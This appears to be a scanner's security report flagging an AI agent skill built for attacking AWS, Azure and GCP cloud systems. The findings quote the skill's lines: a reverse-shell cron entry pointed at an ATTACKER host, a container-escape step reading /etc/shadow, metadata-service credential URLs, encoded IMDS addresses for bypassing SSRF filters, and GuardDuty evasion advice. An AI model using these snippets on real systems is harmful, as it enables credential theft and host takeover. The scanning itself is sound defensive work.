hypnguyen1209/offensive-claude / skills/cloud-security
cloud-security
FlaggedUse when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains, Kubernetes/container escape, IaC/CI-CD federation abuse
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
7baa2fdea777f638a63b8a7071ef973881bdbfcc- Content hash
fb1fcb6bcd5a3145d90f2bcf7d7c29de9e230098bb5a100a346221d0591eb32c- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 6 open critical or high findings.
- Verification expires
- Not applicable
Findings (1 critical, 5 high, 4 medium, 3 low)
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
# ENTRYPOINT ["/escape.sh"] # escape.sh: cat /proc/self/cwd/../../../etc/shadow, overwrite host runc, etc.Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \Suggested fix: Remove access to the metadata service.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
# u = "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"Suggested fix: Remove access to the metadata service.
A disk or partition tool can erase or reformat a drive.
fdisk -l # find host disk, e.g. /dev/sda1Suggested fix: Remove disk and partition operations from the skill.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
AWS_IP = "169.254.169.254"Suggested fix: Remove access to the metadata service.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials.
GCP_HOST = "metadata.google.internal"Suggested fix: Remove access to the metadata service.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because it appears in prose rather than code.
| AWS | `169.254.169.254` | `/latest/meta-data/iam/security-credentials/<role>` |Suggested fix: Remove access to the metadata service.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because it appears in prose rather than code.
| GCP | `metadata.google.internal` (169.254.169.254) | `/computeMetadata/v1/instance/service-accounts/default/token` (header `Metadata-Flavor: Google`) |Suggested fix: Remove access to the metadata service.
The command gives a remote host interactive control of this machine (a reverse shell). Severity lowered from critical because the surrounding text warns against it.
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /hostpath/etc/cron.d/xSuggested fix: Remove it.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because it appears in prose rather than code.
| IMDS SSRF | VPC flow to 169.254.169.254 from web tier; STS use from new ASN | GuardDuty `UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration*` (creds used off-instance) | Use creds from same egress IP where possible; creds expire —…Suggested fix: Remove access to the metadata service.
A link uses unencrypted http:// (0xa9.0xfe.0xa9.0xfe), so its content can be altered in transit.
http://0xa9.0xfe.0xa9.0xfe/ # full hexSuggested fix: Use https://.
A link uses unencrypted http:// (0251.0376.0251.0376), so its content can be altered in transit.
http://0251.0376.0251.0376/ # octalSuggested fix: Use https://.
A link uses unencrypted http:// (169.254.169.254.nip.io), so its content can be altered in transit.
http://169.254.169.254.nip.io/ # wildcard DNS that resolves to the literal IPSuggested fix: Use https://.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
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